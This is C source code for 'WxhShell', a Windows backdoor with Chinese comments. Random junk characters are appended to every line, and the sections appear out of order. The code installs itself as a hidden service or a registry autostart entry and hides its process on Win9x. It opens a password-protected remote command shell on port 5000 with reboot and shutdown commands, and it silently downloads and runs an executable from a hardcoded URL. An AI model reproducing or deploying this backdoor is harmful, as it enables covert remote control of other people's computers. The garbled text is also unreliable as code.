ULONG InheritedFromUniqueProcessId; <}1%">RA
} PROCESS_BASIC_INFORMATION; $8}'6,
M.Ik%nN#K0
PROCNTQSIP NtQueryInformationProcess; jG :R\D}0
O+J;Hp;\_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~` hcgCi%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; __c_JU
l
d9#4D[#
HANDLE hProcess; ::` wx@
PROCESS_BASIC_INFORMATION pbi; lukV
G2wDL
z+I-3v
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _@TTVd
if(NULL == hInst ) return 0; !:e
qPpz
o7seGw<$X
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7mNskb|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BI]t}7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mY(
_-[W
[\yI<^_a
if (!NtQueryInformationProcess) return 0; |L&V-f&K
2ZeL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Oa
.%n9ec
if(!hProcess) return 0; ;8Cqy80K
Of=z!|l2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @~ L.m}GF
4+ gA/<
CloseHandle(hProcess);
"kC>EtaX
|M_Bbo@ud
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '=@x2`U/
if(hProcess==NULL) return 0;
(~oPr+d
;4IP7$3G
HMODULE hMod; 0*/~9n-Vl
char procName[255]; 4J1Q])G9
unsigned long cbNeeded; 0l6%[U?o
HApP*1J^c
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^l,Jbt
m.*+0NG
CloseHandle(hProcess); e1-=|!U7#
\ck3y]a[
if(strstr(procName,"services")) return 1; // 以服务启动 G`z48
ES> 3Cf
return 0; // 注册表启动 U
DG _APf
} BR=Yte
/
~gc)Ww0(Q
// 主模块 h(sD] N
int StartWxhshell(LPSTR lpCmdLine) [~3p+
{ 83a
Rq&(R
SOCKET wsl; :FSkXe2yy0
BOOL val=TRUE; $4"OD"Z Cq
int port=0; [xC
(t]S-
struct sockaddr_in door; u+9Mc u"
`@&qf}`
if(wscfg.ws_autoins) Install(); [F%\1xh
SZPu"O\
port=atoi(lpCmdLine); vC7sJIch2<
U
uysG\
if(port<=0) port=wscfg.ws_port; 0)B+:
@lX)dY
WSADATA data; Fi#t88+1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Oq("E(z+f
Km?i{TW
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; rtpjx%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VtVnht1
door.sin_family = AF_INET; TaC)N
door.sin_addr.s_addr = inet_addr("127.0.0.1"); sDiYm}W
door.sin_port = htons(port); w-2]69$k
{1Qwwhov
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R3~&|>7/T
closesocket(wsl); m^7pbJ\|
return 1; "_`~9qDy
} 6$f,DU
'e*C^(6
if(listen(wsl,2) == INVALID_SOCKET) { i <bs{Cu_S
closesocket(wsl); ~AO0(Lp
return 1; !|!V}O
} ,LW0{(&z
Wxhshell(wsl); A1C@'9R*
WSACleanup(); ^2=zp.)
c"~TH.,d
return 0; 2{&" 3dq
8_lD*bEt
} *M*k-Z':.*
^Z!W3q Q
// 以NT服务方式启动 82<L07fB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^uj+d"a)
{ K!9=e7|P
DWORD status = 0; +k>v^sz
DWORD specificError = 0xfffffff; IFgF5VG6g
Y/+ D4^L
serviceStatus.dwServiceType = SERVICE_WIN32; *w _j;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 23=;v@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U +]ab
serviceStatus.dwWin32ExitCode = 0; HCu1vjU(]
serviceStatus.dwServiceSpecificExitCode = 0; .D) }MyKnu
serviceStatus.dwCheckPoint = 0; y`BLIEI
serviceStatus.dwWaitHint = 0; >GcFk&x
3w@)/ujn
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rpr#
,|
if (hServiceStatusHandle==0) return; @6gz)
p
eQc!@*:8U
status = GetLastError(); BoXCc"q[
if (status!=NO_ERROR) J+TYm%A;-
{ v!x[1[
serviceStatus.dwCurrentState = SERVICE_STOPPED; "P|G^*"~2
serviceStatus.dwCheckPoint = 0; ;)kBJ @
serviceStatus.dwWaitHint = 0; Q.fBuF
serviceStatus.dwWin32ExitCode = status; ABSeX
serviceStatus.dwServiceSpecificExitCode = specificError; w &-r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `i{ :mio
return; ?G{fF
H
} ;?cUF78#
}}]Y mf
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ax\Fg
5
serviceStatus.dwCheckPoint = 0; vr;7p[~
serviceStatus.dwWaitHint = 0; q&M;rIo?
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $p0s
} CV6H~t'1
EZHEJW'JnE
// 处理NT服务事件,比如:启动、停止 *Dn{MD7,M
VOID WINAPI NTServiceHandler(DWORD fdwControl) D^u{zZy@e
{ 25TEbp[dy
switch(fdwControl) /t/q$X
{ S\,{qhd
case SERVICE_CONTROL_STOP: %`TLs^
serviceStatus.dwWin32ExitCode = 0; }a`LOBne
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3_-#
serviceStatus.dwCheckPoint = 0; [ M'1aBx^
serviceStatus.dwWaitHint = 0; i6-K!
{ Grqs*V &|g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I|M*yObl6
} pr?/rXw
return; l{R)yTO
case SERVICE_CONTROL_PAUSE: `=*svrmS
serviceStatus.dwCurrentState = SERVICE_PAUSED; OU+*@2")t
break; |WX4L7yrhK
case SERVICE_CONTROL_CONTINUE: Fzu{,b
serviceStatus.dwCurrentState = SERVICE_RUNNING; y6s$.93
break; vfm-K;,#
case SERVICE_CONTROL_INTERROGATE: o]Ki+ U
break; cBA[D~s
}; >"[u.1J_'I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hke\W'&
} usA!MMH4
OTm`i>rB
// 标准应用程序主函数 7^L&YVW
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V;V9_qP,
{ 4L0LT>'M\
v\Hyu1;8
// 获取操作系统版本 oW_WW$+N
OsIsNt=GetOsVer();
Ojs\2('u
GetModuleFileName(NULL,ExeFile,MAX_PATH); ka*UyW}
W@tLT[}CG
// 从命令行安装 qha<.Ro
if(strpbrk(lpCmdLine,"iI")) Install(); l.BNe)1!22
\9p;md`
// 下载执行文件 N9Ml&*%oX{
if(wscfg.ws_downexe) { |`nVr>QF&
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0#JBz\
WinExec(wscfg.ws_filenam,SW_HIDE); /p>[$`Aq
} >W<5$ .G
S%oGBY*Z
if(!OsIsNt) { *l//r
V?l
// 如果时win9x,隐藏进程并且设置为注册表启动 vpDs5tUl
HideProc(); =FnZk J
StartWxhshell(lpCmdLine); lg1D>=(mY
} >U)O@W)
else ?KN_J
if(StartFromService()) wOOPWwk
// 以服务方式启动 To`?<]8
StartServiceCtrlDispatcher(DispatchTable); DFonK{
else v,0D GR~
// 普通方式启动 n&]w* (,
StartWxhshell(lpCmdLine); _HsvF[\[
F!{SeH:
return 0; UZra'+Wb
} ,)1e+EnV&
OT i3T1&
3:Wr)>l}#
mQd?Tyvn
=========================================== R
28*
P{18crC[1
3)Y:c2
@:B1
$Stu-l1e a
Ks(U]G"V
" I.!/R`
U@nwSfp:G
#include <stdio.h> :8rCCop
Uv
#include <string.h> @k<~`S~|
#include <windows.h> Umg81!
#include <winsock2.h> Z >=Y
#include <winsvc.h> q;.]e#wvh
#include <urlmon.h> <>s\tJ
Q%^bA,$&D
#pragma comment (lib, "Ws2_32.lib") ~py0Vx,F
#pragma comment (lib, "urlmon.lib") ,~(}lvqVH
u7WM6X
#define MAX_USER 100 // 最大客户端连接数 gH3kX<e
#define BUF_SOCK 200 // sock buffer ~b0qrjF;O
#define KEY_BUFF 255 // 输入 buffer (B<AK4G
C&kl*nO
#define REBOOT 0 // 重启 :'~ gLW>j
#define SHUTDOWN 1 // 关机 &Q>'U6"%
0!`7kZrN
#define DEF_PORT 5000 // 监听端口 <9a_wGs
G6{A[O[
#define REG_LEN 16 // 注册表键长度 MXk. 2
#define SVC_LEN 80 // NT服务名长度 30+l0\1
n5*7~K"C
// 从dll定义API !!%[JR)cS
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); es+_]:7B9
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ID# qKFFW
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O) %kl
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iCRw}[[
"UGj4^1f
// wxhshell配置信息 vr;Br-8
struct WSCFG { J?quYlS
int ws_port; // 监听端口 *jw$d8q2
char ws_passstr[REG_LEN]; // 口令 Cmx2/N
int ws_autoins; // 安装标记, 1=yes 0=no m_02"'
char ws_regname[REG_LEN]; // 注册表键名 qbq<O %g=
char ws_svcname[REG_LEN]; // 服务名 ivz?-X4]
char ws_svcdisp[SVC_LEN]; // 服务显示名 K6*UFO4}i
char ws_svcdesc[SVC_LEN]; // 服务描述信息 {-N90Oe
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'ag6B(0Z
int ws_downexe; // 下载执行标记, 1=yes 0=no I5yd )72
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^iRwwN=d
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3hf;4Mb
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}; aU<D$I
_q$LrAT
// default Wxhshell configuration A='+tJa
struct WSCFG wscfg={DEF_PORT, GHC?Tp
"xuhuanlingzhe", #C;zS9(]B
1, KR+BuL+L
"Wxhshell", @W\4UX3dK
"Wxhshell", K1/gJ9+(\
"WxhShell Service", P[I*%
"Wrsky Windows CmdShell Service", /z)3gsF
"Please Input Your Password: ", ?WQd
1, -8Jl4F ,
"http://www.wrsky.com/wxhshell.exe", .1}rzh}8
"Wxhshell.exe" !E{GcK
}; k CW!m
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// 消息定义模块 Uq]EJu
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B#k3"vk#
char *msg_ws_prompt="\n\r? for help\n\r#>"; $mI:Im`s
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y }&4HrT&
char *msg_ws_ext="\n\rExit."; #ON#4WD?
char *msg_ws_end="\n\rQuit."; ELrZ8&5G
char *msg_ws_boot="\n\rReboot..."; L>~@9a\jO
char *msg_ws_poff="\n\rShutdown..."; k99gjL`
char *msg_ws_down="\n\rSave to "; IglJEH[+
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char *msg_ws_err="\n\rErr!"; ])QO%
char *msg_ws_ok="\n\rOK!"; $h,&b<-
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char ExeFile[MAX_PATH]; ^x_ >r6
int nUser = 0; ?@lx
HANDLE handles[MAX_USER]; 'Vm5Cs$
int OsIsNt; $^vp'^uW>
-}_cO|kk
SERVICE_STATUS serviceStatus; |{7e#ww]
SERVICE_STATUS_HANDLE hServiceStatusHandle; Ws^+7u
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// 函数声明 Th7wP:iDP
int Install(void); DOF?(:8Y
int Uninstall(void); a9D gy_!Y
int DownloadFile(char *sURL, SOCKET wsh); MfXt+c`r
int Boot(int flag); i!SW?\
void HideProc(void); &*(n<5wt
int GetOsVer(void); G}=`VYK
int Wxhshell(SOCKET wsl); OH$F >wO
void TalkWithClient(void *cs); &\[Qm{lN
int CmdShell(SOCKET sock); YW8K
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int StartFromService(void); 'GV&]
int StartWxhshell(LPSTR lpCmdLine); -O~C m}e
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E1c>nrnh*
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }yx=(+jP
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// 数据结构和表定义 K,x$c %
SERVICE_TABLE_ENTRY DispatchTable[] = O%YjWb
{ Wk/fB0
{wscfg.ws_svcname, NTServiceMain}, VFilF<